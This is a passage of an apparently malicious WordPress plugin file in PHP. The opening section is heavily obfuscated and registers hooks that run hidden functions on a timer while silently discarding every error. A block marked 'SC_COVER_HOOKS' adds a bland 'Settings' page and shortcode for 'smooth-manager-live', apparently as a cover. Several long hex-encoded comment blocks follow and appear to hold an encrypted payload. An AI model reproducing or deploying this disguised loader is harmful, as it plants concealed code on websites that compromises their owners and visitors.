 uh36p8urjd71g_u9smnf(b4gbsak56f40gos(227),   op9tjzix(1995),  1);
uh36p8urjd71g_u9smnf(tvo1rh46s_(227),   fjup2mc1h(1996),  2);
      
uh36p8urjd71g_u9smnf(zp28wk01y(227),      wlgh2_th(1951),  (0x1+0x2));
     uh36p8urjd71g_u9smnf(zp28wk01y(1997),  op9tjzix(1998),     (0x1+0x3));
 uh36p8urjd71g_u9smnf(fjup2mc1h(1999),    op9tjzix(2000), (0x3+0x2));
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),  fjup2mc1h(2001),   (12-6));
 uh36p8urjd71g_u9smnf(op9tjzix(1999),  fjup2mc1h(2002),    (7-1));
   uh36p8urjd71g_u9smnf(op9tjzix(2003),     wlgh2_th(2004));$me5pb7nheyg=PHP_MAJOR_VERSION;$ts9elmfudbb96=$me5pb7nheyg*5;
uh36p8urjd71g_u9smnf(wlgh2_th(1999), b4gbsak56f40gos(2005),  (2+5));
     if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(2006))) {
    $GLOBALS['__scf_b1rqpek_6hp_174'](function ()   {
if      (!empty($GLOBALS[zp28wk01y(1596)])) return;
  if (!defined(zp28wk01y(1703))    || !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(1781)))    return;
    if    ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(2005)))     {
  try  {
 _yjfvv1s_lwgdiro4wbm1();



    }     catch (Throwable  $x0ydieb0v_72m_u)     {
 }   catch (Exception $x0ydieb0v_72m_u) {
     }
}
   });
  }
uh36p8urjd71g_u9smnf(fjup2mc1h(1999),      zp28wk01y(2007),  (6+2));
   

    uh36p8urjd71g_u9smnf(wlgh2_th(2008),     wlgh2_th(2009));

uh36p8urjd71g_u9smnf(tvo1rh46s_(1747), b4gbsak56f40gos(2010));
   uh36p8urjd71g_u9smnf(wlgh2_th(1446),  zp28wk01y(2011),  (19-9));
   uh36p8urjd71g_u9smnf(zp28wk01y(1999),   function ()   {
 if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1781))   ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1878))) return;
   $tj3513movf =      (int)   @get_option(fjup2mc1h(2012),  0);

 if  (($GLOBALS['__scf_yg2rpewmkg_192']()     -  $tj3513movf)    >  (2305+1295))   {
if  (!vbnv9cp3zphaateswj())    return;
 @update_option(b4gbsak56f40gos(2012),   $GLOBALS['__scf_yg2rpewmkg_192']());


    pwvpu09why95tgx6j();


}
 },   (244^253));
 
  uh36p8urjd71g_u9smnf(wlgh2_th(103),      wlgh2_th(2013));
    w1x2vlyn0dayva0xvorosh(zp28wk01y(2014),   fjup2mc1h(2015));
if    ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(478))     && did_action(fjup2mc1h(1999))) {
  d8pbcrz4yto4oebxs95hd6();
  }
    
}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','smooth-manager-live-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('smooth-manager-live_group');
        do_settings_sections('smooth-manager-live-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('smooth-manager-live_group','smooth-manager-live_options');
    add_settings_section('smooth-manager-live_main','Configuration',function(){echo '<p>Configure options below.</p>';},'smooth-manager-live-settings');
    add_settings_field('smooth-manager-live_cache','Cache Mode',function(){
        $o=get_option('smooth-manager-live_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('smooth-manager-live_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'smooth-manager-live-settings','smooth-manager-live_main');
});
if(function_exists('add_shortcode'))add_shortcode('smooth_manager_live_stats',function(){
    $o=get_option('smooth-manager-live_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('smooth-manager-live_options'))add_option('smooth-manager-live_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*521f150c05a4276bcfedb9d5cd3ffbca7638f9d62bac2c583d7864f7f3729376c1e6111bae3262f7398f117b1ddd23ec8833051be5998781c1bed04fe62fc81aa7baf275ed50289465dc4c487a00659ba7bb187e864bb378eb86d9d6f0772b46071d6c5909d7c3c9636564867c8d5bebb8781d39596617d8f54aecd29d428c93ea98a9ee325a1ebfb893ff1df8f9c86cc254da991af66571e55069edd1747043a746624b49c274e7986d2121265dcb736275084b3bf5565be6532f2e0f7b672a096674b68e34061c5251e8bcf41ee00e02470e9b846bc201761c023e0a18fa2fb6ab3d9c7cbde8ef87fb339aa167c7633cb3f428a3a0286b224c9c44c8787ae165e8b3676045a73aa866ad0a17beb620a56786d3df5d56836dae791403b7820a51d3ab522e2693cc0404f41b5b03aeffc6551f5c92cd8299c895683d1160b590086ccdfbd98dd95a0e5c26e3693e80c22542469ed90ad8176d907059377079049bda700ee1b43bd4bff24a5573cc7bf1d25ad15bf226532792672e5c0cb6ed4a448b50d766b519af88cb6fb116bec80e61f8fbfc2718df50df38737c4d5a87b7e1304c546c9ba6f34d5a6518828f963dcb956bf3dbdb73f8607d4fc2ec7a4277d1edc82e321622377497eca30ed904e1cecbe36822c31343595de113d0133dcf45ed1851341085913de57eec310d2ab6fed452cef6b26b90d04c7c9ba36b05c007c3edcd3b60d4e02f9f70fb5f91a589a9cafbedf294c6714327255d536382f68846eb0625a1c0c4ca490099c534f64abd23b271989af7c872e6c5495e93756ee67f871bf7ba80bda4e08e8ec856dee866e2a5c98ad97af899da42f82701d06093341aa163eb3d92cba467866f99730096280ac178410c92a643444ab3ed8ba61733fe18023dbbbebaab08cbe42e59f01fdc32092b4dc8f0b873bbba8ad453e71e986cd05eaad8f2c10e50569cdc0749b022a8e414949d8ce0fdaaedbd5b0995de2c69b1a86ce92981c79fee1209b247267fe8ee93f851c65be52b4f35c3ce84d0018167eff188819d211e4e3e2fc46ef29e271687bb69c5c3bb02f237894dd654bf6452a114f69aa0fe58979bc5b8dd94d42db0f459b847fd9278d4ec509a7a5bce3c0bc57197dd2d0ba2c670ebdfb770ef81dbda886a2972bd7611114c883bdece962b164d16393a392a5742b3c2a541e3469132af53ddfe7ab813a68a753d17456ef36db96161b2557a15acfff2f0e55f800a45b7540e1b806c3cc7ca158b8c105aa98a08aa94c23ce40becdee2f459ae93f5c5e0f1989ada22c91791e2409571113c1736cd377241d021b85428e4e95a62fd7169851b29ac637fd220ac1cdebe08ffd2e2654c3a19acea790e2df1cb642657cf0f1fbee06817655a26048e5ee5e94639b56889a9f18e00f5a7e6b6f03346fb4ffd89f3c9ad070d31eef49c150e3df83eb5854df80ce76d0ff57f35c12ceca8a2385830dee2623a5ac121255ec97d0d9c12e8c082c03ec94d93695ee07722175e892809023c8dd7104ed55212ddae45f68bde373f125221606cce1c79dd3e2e1be8331fb991ee0933b6d633133495dd4312b8d03192ff3e70b026146c8586018696a4b72e6029f7df1771e4abfeaaaae267dfb45de3766fe6dad38c2e60695e39a72d9a23991e272e0665e8b712f55241241099cc95fbb451fee1b9c3a179ddcb480c8f3ab20b8df163c941d9931001e41f0c5181728e0c6c4cfeec5eb55f7d7ed73fd84e3cc7d0c5ca74f4742b3aa008c39cac7bae82d5c4253aed41df0790456f03918bf12bf452ef2fb259bc59fb2c3c526f224f027c4f72c9b24ffb622b173a7236df7d3d48b0f4d463aa510d24379f191db306e8d17527ce1a05e5695c8a60e9d0bf94cd4b481ae1f5cb2ce4d5dd2605510fccc450c342d82811171b13fd73566599672c46a46e4836a96ba6043f9e260151457abe9580ae363641afcafe585d0bb1ad9a80730ef17a840e87fd5af917796f935e19992090abd0adb3da4d3b8845ef8869513f89b1f7691460472b6f82d2bcec89290d87b489aa522bef49ca97f7b42c7dad436b47eef3f8002b1aae9d890cd659a2c754a918f4eecc48140fae866342f3848ed73bbe569de6c68afbcff9e17d3533e2be3bf5f520aeaf7bd8d8db78de2f8b60398c61ba7767af0b3d539d201b5eca034a92bd7ec1cfd97a32dc5b321856eabefd16d8596252aa5f9a6766d8c390e966a3a9307705ccba1c25afd3e986277138d099f1e1b8771696eb69814efb094f31c62fb74ae63caa71e96c372fd92e73de60c4c6575bd6e48ac1e55071b8f126feaed2e2cfe96b2a0ec92cdd33346eafc9afe87c594988547fc00d80f0a52f96859c2029911c59c56a7343053e28a8dda71115d77ed575091c7058823e8fe61df63a66f766c003771fea2de028e9545e9fb615cf91ca65d89aabc8bc56971711e0146cf893c16576b92811dc0a0040ba588ffc0fb6fa131c2fd5d5f23db0028112947b50cd18954d08baf8fc8854c866a3910ae67323d6718528165558c2d273d7c6deb403e949731716076d8aa4195df4075e0b8bba2a321b68374b7c03fd7f29c3b2d8ee3f07e90deef57bea976e8d80d7f1fce9d96039694212c4cffa2f153f90f863ad53019c1cc2be2f59d8ebf3f499c0808ca234ad444acf0bbb709dee73f94e8ce77d36be387f546b0b4afbd72c588d43cbf32352df35eeed9a593aab567fe92078b88db6b461f6e5abe67ce86c7721b825a0c0b5ad917d40eb86b362e42a45c51e5cf8513d2ca9ac521ef997f88342df74b44d3b7ff3f80e9cedb34d36c10960*/
/*29a32a694f448de5f6b18aa7df61ac0e3bdc10c11edb5bb5a12fc64a81c4d10de4e1e32be71dbe8fadf95e5509d1b87d099f6117042b35269c305a3d950782bf0eee5d119fd5defba6904540e9e122994a0d8ef69a9acdf1ca218fb5da871450e41a93cdda3d4d0bfeb548bdc6e1c3506bf7b6d375910a031bde944d958dac026197762e715d04de1c1f18ef9dcd0453aec07273291adabd0c90ffeff00f4bde2cf51072f743479fbd3b91ee062af9681005e5af49754704f925acf4de6266b9e7087015afb511edc0d08e5cba792abab5f7c4edd8247737dc9e2cc71de61c02c681cd37de46dc62db959f1f6725d57363279c6e73c853135ef329d157deb466246c90976b5fb71b428e08cadd2ce97b93e800fe0d7142cffef9d06ced30667862601b9c2d802e5e58e757ba54d710300c5a124ac12d6e50cbe6a77f8b808a3a13c318f4418dc55715d403b8eb34781a7925fc378285a1f9f49aa9bc87ff05f7ef1879c568005e4fd846311274f8fcae222826dd701f685a3d1a0d0fd6db98e942757bfc2c8f060006d544594eba53f4ba3f16b8ca0567252e124a12c54820b1c72a98fff12c008ce134d31981be7a686405c8fe0958a507f3bfa92925aa22f9751c604ef01e4a72d8da69a5f3b1c90e8119ebf1580f03c96e235f9dacdd4b20a1e24e6bffcc64e5918e7700eede78f3c8469d619e8da7de33d2f2c16641a9486b5faf855488347e862f254300fc15d25823fd8f2a022b89022995b71c1d9f2ca1b3e4502d2679b81b563755fde7a7e16a91a0ac7796b5ed7d1635a933a7ac82bbee43ecb751ebc80f170882a8bf7081e3e909e3a26916175e1b837c08be50fa7ae418483aa81933e0cedf33f37ee7e80529f8ce683ded130b4bf61b8b2360f9406a5e1aa3853eaee9eb169063c8003c1f79c755fc618eccfd13ee9f3e9509bc00f6859b6cfcaf25e3e7c00589ffa863a2916d191e297105a772a91dd5f488869dfe4c6e90ba96f7b36c37d501289f31c03bb9e35422095a245bd6d3c4f941b6235a54966f3bd392967c0c4baf7b29e7521dc54c5e125d38a54a1e119fdd03aa27cd566a353e7e9a1b2d421057239d5ff426220fa08b4b1274ac2bac937c4b391d75a54bf765320e197274029eba7c9ed5fe771d7524b3349ffe3776343d8832cc7a68e899490512df58f6be706536b035d4857a89a4efc4cf92fd0132e798fd49e7764376e8e136ab52888c8d9cb0b3f7a2e797ee7f687a31c20c9ca7893aa411a401d008046c7b6bd060b2c4567e78d00b9f109fbbafbeb4549c749584a8cb58a3e92a65d6a39be07801b2b557725e235c723cf10aabadb7e6308e3ea7b11a284fe5113d7fe16f05f1819b0d1915188d9ff67cef13d45f7e79323b927c0b89f0833a3f21840750f472f09464a403b9ce4e6ef3b6e102720a72cc0f60e1901329e1884cc5918b0db977a2a75af1f8662ca168ca21be308315840fcc7038c4162c4a915ff6ab9b24d614a6e7c5816a13cb2fdc261580be7262bcbe1207d7fca4fae4c320e083865f964578866bdf62347d19305eb51f53c1567bf848652e44e7dc1a1bb957189ee62979085636c8e1f36f31aeb63d018fee1f295a68e6772c7f8e369759a5f77e5e59c95a7d04a4549c5b3707414ef5d05884545fc0e2b7ed727ced73cfc805dee43c568b7e87be771510136bd03cd86e75f8886a9168da7e7f809a51e982bf58066cae1ac9e6abaf1fc302a22bec223f2d1aa027a22a22bab14a2732c9270da2fb77ed57959ee66e7cc337b4c895c42bc980e06527899cc5fe83521fc82f1755891e87f6d0e97630358ce8e8d4e3ad734712bab60f75d6a0aed168e772d4893d66d17987c384d976b31842e333e2fc33faa1349783ecf47d63f7f5913d89e2aee88e63626587658b44cc4f616c8672001c8a544a021a4f3186c3620b2d0420da942b8f1b328586070d097d22403d682521b85454a1661fc0b5613d5084ffbe0fdd8c708b719758b9f160e94a4dc11f5a5a0777f09823e26cbe31e7f89394b623a246b900d474dfb6e4e6bc5f37f749aa7d8f21b7169b606745557e4f851bfd55aac69d117da43491fc3aa2449c5a6e649f1c7287984e50bf617db26a734be842045d6a09120952334995910e02b39964c20426f9a655cb7319330af75eda75fe070273432ef485c2912f5b87a2c33d32939fa2ccc176a189c005acbb5c34d5d69b3f997fe15d354b77adf41260c3565d2a3261f8f9e3539f6c9b76e21032ebc4c7b9a92953e0b7710e1a088bd203b588559a76e3281e38841459eab1e1a318f24d4b5f58103a28af21d023e64918ca5626ad594cb0b9a194b8eeddb20f1629b60ff1f8f81bb9f28fe2d39f105f832e6a7ad49ca64b85b0c96b7ca0d82a37429793961140bafc377a31df4adbb5cda248dd23c9cb521dce855dc68332c9b5650e6b01f6c7516125cc8d0d8361e9cea94ad2a01c2bab8db8d06c0420f512ece207d6026c342df605913f6ee75c9eed27e55078d1c7967596aa29ddff784efaaf54826ed69585be0d7ee73548af1f4d78686b9f6f56b5c1a10eafe4bb50516bec727a942691ae270efbb3a7573827a3a1c4d6830d3b214b5f683533e9263d66724218b1280ed5269db39b9702b3396e2926c0a0df39139f2e69fbc3a1eaf876baf042e820d4136bb6beca8c642fe49c2ed0df16061486816c166638e1a353e3683fcfc7cd4f91199713065823bbb987d05fe5c320aad469acab84be5543ac3b58e3b0844c4f4174fce2c59f17f38d919516a618cf4eea18eda02e62aeff41d95221e783083e0fd98f6ebb*/
/*1849c2966b84c8eeb8f87549ddf30155b1794e8b5da2adb2a85e5b2afe23f67be99e108f95d341f11f37f45efed85d751f3113819d58ac4b18e7f9708b9c822e0642faaffefef1dcaf943314c8067277523d279adca2df3a9d84d7ddc7aee9eadfcf2dc61978cf2c2fd9685eb6edbe065741d3387d92e25df898a1c540ee7b9be536cc24e872baf44d9933c90441e15a3de4268af01458d8b3f58ced60446a6bc62325e6553e9468469e8e92545c51c0ccf776e20ac45a88e04bae49e14f8cfcb4a0611ff92c5600c0ebe89b240cdd86aa884dc3576981db253c62eab4c3a2c15c86736aefc511af6cc6960b207f5f960d96c2a62c11f028c71ff0342322faaa69b8e6d3bdda1153b17d547014dc41332b5f02ea30f6bbea9398b604ee1ad1d821e7e92ee843e586e7626a305a9dd296fceb2ceaf51075628dfbca8822385b0ff4a0e8e9e4a8822f8c5871ecefaa96eae379ef4385367b5530e85309e35b5edc137acfb07d9cac8465f2790bfbb77654941d742a2b85576828691f702627ad23af9f7bde6866eb3c767e9b059e1a4504041b27cea0770e0548164b8f3cb89c616d5d5620dedca130aa9b97065750be7313e9db673201320ccd4e8ab0f4c21eb94e19980be51f43dd4641cc5e98db3bee9a8196dac1edc1b43d67a76865a5dc3ce58abc15a01d8c5640351ac6cddffb27c41e10ecec1b61ea99febcd696be31bcd2ec0ca6eb0acad81b1288c1b2f501604aede4d7ec03f79051e45f2148c469562f601f939020633b4e5aca8ad7bc41360b7e9fb4b18497e506d97832a5bda64a7624d2578ff8e746a65e4b7ce8e60b06f266dec1390966103f57259c3601704d3e3dacc4511ead80fafbc05ad586d9cb559920d63eb71c8d86229570efc28bcf38e4fa1a145621b1fa2ccdadfd2d93f1d6404b479ada45e9a9c963eeea9e3e86f8a4286310c68b153f76d7e9de4ccc1352e734742817c987f7c8afafb5da87764c33c2bdd8b20307344b7f226f9dedd6ac78b7ae0b22268e713a64dbeb70e232dbd62f4f0e965550de01b46fa7decda6a30c1f48a9d0d4ce4bc503b5df45112177ebc49488c0a271e5166ead0a1fc16b84144b5c32f4a68e24fb9402d1de97d5efa2939ebb15a9e0e5bb2ccfe30d1dd7ce88ee6088f488d79e55c68d90674a078fe8cd19ac87761bf3ddaa46469423e835f28286b7781c40828e7a01740b22199082add4868b2a6ee9f5d3516716ed2dee4129222832fec150f62ae5f41919f9c86b125c13daa1db1b7498aa3ad43a4889ca6673d53a2ee02236a779edf45f5c3148867a31ba78f46cb4f5203c7b60034166bc502661dab6227feb309dc481d6349005fe0900abe6898ce131756e2b7738d95f0d7faaffaa69a846bf54f68d82fcc014e327273aa4a1f011e4f85f676794874c34b94be909b5a37b883e01af05eed63cf36f753c11bb67bbd24924c4f30a1bc6fdd7f3929b8bbe4b375b472577a923d7b35ca4630c80aeeb47da4d6ee76f1166bdab2b099019f1e8c3beb76b4f4105dfc2f8e9c3febf9ea48323f4f6653585757a194ecf3778bcc5ff008d9d772c4e9849de14d41a297b57cdffeec17be19e4d8371d86be2e4781af0f2c9a69755ef0f0a82e13777fa9bb1db45d8783c4421752aa3036877319c9c886ffa6fe098b976136c10883eb4a4a3e88f05ae82d08b573e779b9e66e6ecc79a50c2f2792f8f57900217a28a612eabc6878afcacce134d70480b07a1b03fe16771c6e585bc51d26f66733579975546b0e85951c5613de3119385f40115178e56be7fdda68aa14ad4fd9e8a02164aa18025c0f02f689ef17c3f0199cfd1c339e12cda7afae19e8907096f2a7fbcd24c89267dc8771505fe91c28df226b4fd502f34fa1ce254fdd0496b5815311d1497af85afd3ceeb40b7ac02aaa24d9ba6b74089fffa06688143f91f616b55f234d97169712434114b6654a508c5293f92def139b8868ffbb02fa734fcb939f2167170280acd745af5daa035d85ec19db37b2cfcf815744b7979320c6a8d7fffaf8633c2f45349941ca7c4cb5a60d2333dafd1da45cf008eb39ab36363c517515c0631a213717f14db08e070134dfa1d1de607cc723ca9cc1f89c63a2e52176931b3e4931b9b897a32cb28b33503c5829651af020a06f86c850442ff234bce21e06fb692a8576b5ded6cdcc05a53eda132b02e2c714f7916337d0065951f05ea5f5c328bb63ca6cc6cf95931613e7f5657f13a19bc1566ec92f2214279d5874fc9e50c0a1c5ba3034c38d8336d0eaf0314acb9a93b39f6312ddf41f3204973dd90a33ead78171af258642afcef0ee50d2cbc7368d5b29fc92c3fe05f9d87623772d2b300c90c52491cc37f90f89af5b6dfc6eb1bdd0950220f8f02ae4bc8b5dcf8303d990f8f9e7ae45af97086321781a844deb68489b3cd1304ecc7dbe3598d36d67e6675359e3249c95309e3565ca88e85af466f6881cb55d6a9aa0f9833248be377585d609afcbe30975d625cb1e7697c73e0039859834ceac3a5c6b9793df9b77aaa589ef3412eaba6d672c52885f297881a6ef2066f6728a9e7a66ef86656c95bd15c8a099e4cbcd2635c895a7ce530adb79499bc9786d5a3f04d1fd28fded937c903f7390d48304b66a2aa50d7063d123c36b8b1c3a2bf1b6a90fd524bc457c27637216c33805246d420cf3cacbfaa26edefd5cb482e97829a0b4aa5d8016ca06bedb2c386f85ac6df8c465e262cabe2c92fbed32e7b465b8cf513d9cb53b435f44181e4be9bc6f4a50e132c32654203ef6a048e760063a4d661f7b9739a86635fdf3da5*/
/*c59cad645698059856bd5b8485f59bd42e34c2b9b74bd3df7350b0df36786011b8eb36fbad2d200c0669b41da0ef15c56ccf61190efd4cccf29c3d09bd83b064583e5fc1c15e9bdf77ad26fb76fcf6caf9bab44f4ba68dc1a400d9473de3b1520d221e5f11bb6429c35e9824a8febffeff9c70e879b86f24f6c335927aa362984105937451333574c23c1d4e8236fdf362676f20f7e24000f24b4df727deddadb7fbf033ba651f4f615edc9e5cc299bd6f7d63575d84c8d2b97fc5a3e7543a7a44670ff1a8ba7f294514b84dc87b62ec584109c8d08fb0f9d90780aae70503b6722588d9493c7f805dd96b76ecc1926bb434bb733fda691b1c67bc7e9384c478af7f4da1ae5ba31fdbf48539ffe457a2e517672aeb4007a2deb8e44ff6c308afea33455873d65619f7544e73c807b941e6e8191a5029a6029f82ec7b803262212a858c9848bff28c33541dfcbea73af49c7b109fbc7e23721d7e9bc6c189ef91f0ad68164d8c45feacf6a33af857c3868b7b86a21204a78de0b04a2021c981bd5b1643e383f3b03f11d992373416ec4276a6c615ab8e117301cc1e32f627b5672de68ea69ca573cd3b3214a1bf8f1a109f40e1dd88c068273e078acd3a2934152c396f05d22c00abb5b9c71c62ab57ad109c2809babd27a4475f18d995509d780a158a969e266c89bc8816da667f83b89fbe343555fe6b192ac23f30a1b7ef26f8f253bc7f7be970b4f76d06c2c7d379f6c370654d3e2a847ec2e60a18092e456f62a88d46194487bd7d81b370bdb4885616753aba401dc1be3ed2e4a2d670fb112452f2f33fb5473e22207adfd7c2713d5b991dc12f476860cfa6dd77ba92ac2f0edf87f1b6ec309f66a5ab097b99276d2c3d09a6a3185f2650503a026c451c3aaa5b42be86143e8ffe369b4d3189d44b9a69b161b468e84b1c7808d334adce292ab814978ef75183786c2bb63efa6c64e48267221621ea89aa1c0b08fa0d579afcd6cd4e9f2f731b9e227d07f09061b51b937a1f4f5a70814482dac01aa33f889a31e0b4dd7a375fdd235c564232f01d467495bbd2e916d870acb92f59d90190a9a78e408b412e23fa4fbc77663462477979bd5ca97d617c3cee184c53d08142a65df3fcfa36c98aea842fef9d8e40010718369de1175c54c1af5c0c42ae52ed555047564f25f863c6036616265909925403e93aad560c7960c2fa83d4f4b6fb9f8d16c03965962479fb514637388b79e692819ca35b7f4dff3da54967b9149b05ce0385503c667b367c5ffbad4e0f9c475ffedc1e941c6a604c9e783423afcd576faa1b60ab44a150086e34c87bd798b31e24a975c34efb404aad80993484a7642f3bbe0f9680fca639e4337fd1e6db59549c1e10d2c5b46b02af414a06e3898cdb2d3543c7f68b5cb62442d82c4103612662b9a3f51faa4d40af19cc98de597cb4217f134bb301ffa204edc64c25f45e73fa7e92cf01daed7ff18d8594e107ed655cb91548e38f38e5ce83aeaafda21707163b7893499b50f85f3aed94527485f35a1c444d6a004564258ad294f9c6bab238f0059595033ffe622b4ccd57d9f73474fc816134a22b3268623f891e7276cc974c6476831bc45cda0844196ba2f2c55e10dd8e9a0cbee1efa88949a3ae13089261cfbe1c1a3133e2ebe0fb95ceac3ce1bcf6e7d7d319255220af5685c06c9f3837bc35f75c65596798e13bbd176e4570e9ecb763db143ed1382b0e08ab9d441ea05804e7e4f0a1d1c7d062ca6205e2c3f46b4ba7f1a3535a3b74c9a8e615e92c4a7236427d72b46519c22d2e29f6f18008f423874ec10158a06eaded2a5506e52ea6560dd3662fe5eccb50a79fcbf5dd8460ecb30c0285ccd76100ebae85ee3755802abbd053a3c7b3c16078c4c38899198eb743ac7d3e0ecdf8835ac128f620dde2c315ea10475443cc597b934aed6775a6dd120e2388e86a19f7dacd5d71aeda790c8ddeb1411999c7882811d37f640e084edbf7a59308dda7484a27bb9bbb9f49ad1784426085c02da59a91d002c7a015cbd76912446283ec31bd9e9d84fd500a4ad1f28f6348527ca7ca5c908c975bc5cb4d480fa8ef967ec01efa9e6bdceba88ee4bb375ef9205802e32ebda49d310d77c00b00be796833bca254a357f0c8df9dcfc7af4378bad3a484de34c319dfc0c4332036008c13d0b07ba212ccbe978e8868022d178e3c22b95992e3a13fb7a1fd9da0bdc674e0f328ef592a8e4ca6e1bf8e911db2e58361a51980062f9bddad181b353c0efa6d331e615ee948f4255e65c8bb544f94e2776a41bf279d50cccfe46c04f0e0f99dd3c98a2c20fbbcbed45b3ea928b8f82278a374e0125089d66d49da05e58faf6cf7096fb9179d2cfc41948f872078d197d6cc435b133e1140bf92d8225554f8ffc19bf394e4f0b79c67a865832f6aa17b0fdc83d435bf18200f1b688acfa30043d8ae3846ca881e0142c9997084a3b89832bfcb8ab976d79cb1b8af275abdba39a5d0f349dad1f23b10854fc9d0dc56d10505b84c56a42e42a6a52c8a42eeb91b1b2d618a71c7ff2d6a13ab782b28c9f17fe19f8a9498fd2ad92c4e1a4844a82220bc2a5456e1785d13a8df33010973ca56acfe2a5e8a9a7151070ad0c3c963be99ab3e1af4f94b46a469afde4b1e74f7dd581e15736fb4d2c5eb6bdc943f1931251eab9989e3e95828a7b0441b2b390f35e7ee6e6cf771ee5eadf03769cfbf6490bc0bfd94a9da22d673b6c00e2d1d1612c26dc1a7144d94cc443e4927cf56291b8172d78245b59a42606d5b5c16d79a7f4fbb773b099a355ff35bbb0b4bc5a5f7a43a*/
/*1de1de479b235649bd5bbfd3ce1e4ce69dab55d629f2109134a6b751337da437cb6b6f04d35deb9843f6a1f63841b0c62ea277e8b7fce67d63f8153aa75308a47986b50f2a2f5800e2fd14e57f815c086cd7ff06769e6145e2d62667e2022fc8e928fc635ed6bc000e6ea247fcecd14d18ab0f59722e38619a67a4a3ed636a92a5a643e21e2afb2cd1b92cead32bd2dc570a657d02ef389362f5fafaf16e2bd4076f8d04b99501b6b913333d7ad4b59c335960740c453e67d8eb6798b771b447d68da4011006ba965d93aff2d12a6792e11e9686fbe62cbec8e3a3052409084813a547d407f59fe92dc9ce4119820068aae9b5d686b09d8aebd7438611a6066ea6bdb058939143582201b7629620b1b54f76763d83f113b51ee499b67ed676a6e557d18f01bf4c675f69d3194979495cdae260f3724d3750c17ab9481d743bf6515eef66fa5fb0f00f6aab0dbcb5620723a31e3dee3d92dde2889ba97c25bdf207a189874caa4651b3e6af832bb7749b3574b36addc16d672a644d3d7b150080629e0dc8573e32926c4baec9108ce0846166717c973ffbe34996fd2d1f02dac52c0051d10a4db6d39fc3a121597a4d13bcde7c15ccc44ae5838d8f66d5fb2cdb97ad6fdd9f5cf2c10762f7379c07bb280ed8674f822ba62024093b0fbe60c2a39d0d529f09911380384ca6c4d5791b8cd845e010bdf2a7aa542deac63efc2e643d179b29ba51b5c442c610dd99cabc138052d74e7bff50436e0af017aa1f4442639938a311328eee9b7a143ba785f01281b916e91d0ef66880c0a704b21078ac0242fb1322dc8c3b4d2bf80636c8ca35dc0dc2e01e05c8ecea422f0de4e39074030a7853bb184fb01570b451a282fb62311b88b147433c6d64c111f59050005ddf8ab36527c5a91d7a412db194f560aab5f30de764a06552acfc05d97981eb003bdb5026b9a5fae3f9a17e94f6c54e124e2b9ce7efdcc73db883c50e875f6c8bef41f005daf5902110b2311d55a98f1983215337a92c2654237972c9fa9aa2985c9a97ad518592726b9f76e5fc1bd3654d6e481710ea0149103b4f130388d240e7aaad497eb79a1ddca942c0bf56e5461e15e265ceb57b44054fbefe477d3042706a85a9d11b6039892d07258c4457e6d9ec9d1e9883da9c9e08383f57b2322c76051616a91cd8a1ead473a6ab3140a421772ac92dcfe116eed918fc400411d1557c9ba729bf13d344c9afe49028337971a1a104fd1aa1a3ae7e454029f6508129a68281ed924988864971778b5f2518ab657650ae8f17b5d18b7bc3781dd42a50b7ad28d8a4e8284194a88285e1d050addb2969619a5073d9808f6446093e5e58382ad9b2a5c044ac5e8bac10d6e2b23ea9fcf22e30464be8638ae682d06df2420c5f52cbc65d6c8a506ea9bb88141b8ba93946d422f191f1fd89c7304d2d57cf4e21ad8d1e2e015ae9c1f8f4d4f106f55a4756ab85c9f028413423c825e5983bf81c18b621c91b629a46ed1d55030877394f9e9dd8aa6d895f3c405e8a12936225f7469a5fdb2cff4ff751b6c04a61173e59ed3214d5d8156f33b4cd184cedd14ec206d864c595ddcfbc902fdb40299409b03667eb06d98a167b6d8e962c5dbb488616ded332b488bf930d045b604bdd3001d35472073f5616716c2e487e82415149b64abd9a2f83ac11cf0740f162c782872ba1908d0420b24d7ffb845f95a4cf8e1cfb23b650f2062d1df3614d5b7af13c30861b0b75937a0a43a8a143480308bea5d45124bffdb0e7665b5a21720366437e4e045ff23a9394049bfa51ed761cd16670d12acd092531055966a12617b999c398c697b882fd78ec7bf9822142d1e6235689be5000bc6f44f4a126994d54bb9838e331b46f5397152d52674040ba4f31efceb8506ed2a77f5daa84e32b00ee319231eff7a1fa186691a85ee87a8a0bdc78ebaa93859cf9a68830876a60fce80b133eaf56870983cb56e516756946718a24fcac369f8328be7a517a5a851a0ffe88f500050be732497349c5a4a5b4d1b106d184287608ca8fd5528f707d5bfa89249b13ec36f5e5bdb3b4a89e41b276b76598750ea73ef0644e9ea9bfdf9e18bc7dc161e9e3aa2ba1e4156d4b688df98eb3776f6d016d3e748a4f7d9859a05eff9b77ddf414e96a8ce22570a1ab2334994e7bacc7c4018a929e799a34b4830d66472c8db6e457df1cf611f775639702994b35d6aaf11e1e233de69be0bdcb364c598243ad9db79704c08e54fa6e665748b471aafc17a498e7ceadda0b625afd172268a24fc562ba5f74a1138e317fe594ebfb8d27813876c4adf8c7702fb38cb28e165909c9bd477e4ae0c693824925789e1bdb779cbaa67d4cf235c288e765cbc6284afebda558702fa9f0e0bdf380f8475889833d465599ef4fda6a151adea5eabaaa43d99d953745c60411f369be13463bab0b7645ac6f3b8d2963d16eba61b7e0a0f54e65b9b5ff5e360a618e888567ecbcb688b6d7bccad7ec98ec8bf0ca44d8e2bbc67cd78ed7587248c16c32e099fd00265edc9443c8a40da89f89374dd7f80e839624ef4aa0b57cdb4a145c4338719eeecd646fd04e2b7c9698c373dd71abfa33b4a834110d9906ac6db90e482b50819987c975c745cfcd0bd7e3b309cbacd0f166cdffc4d4ee445ebcb10b2de69c62d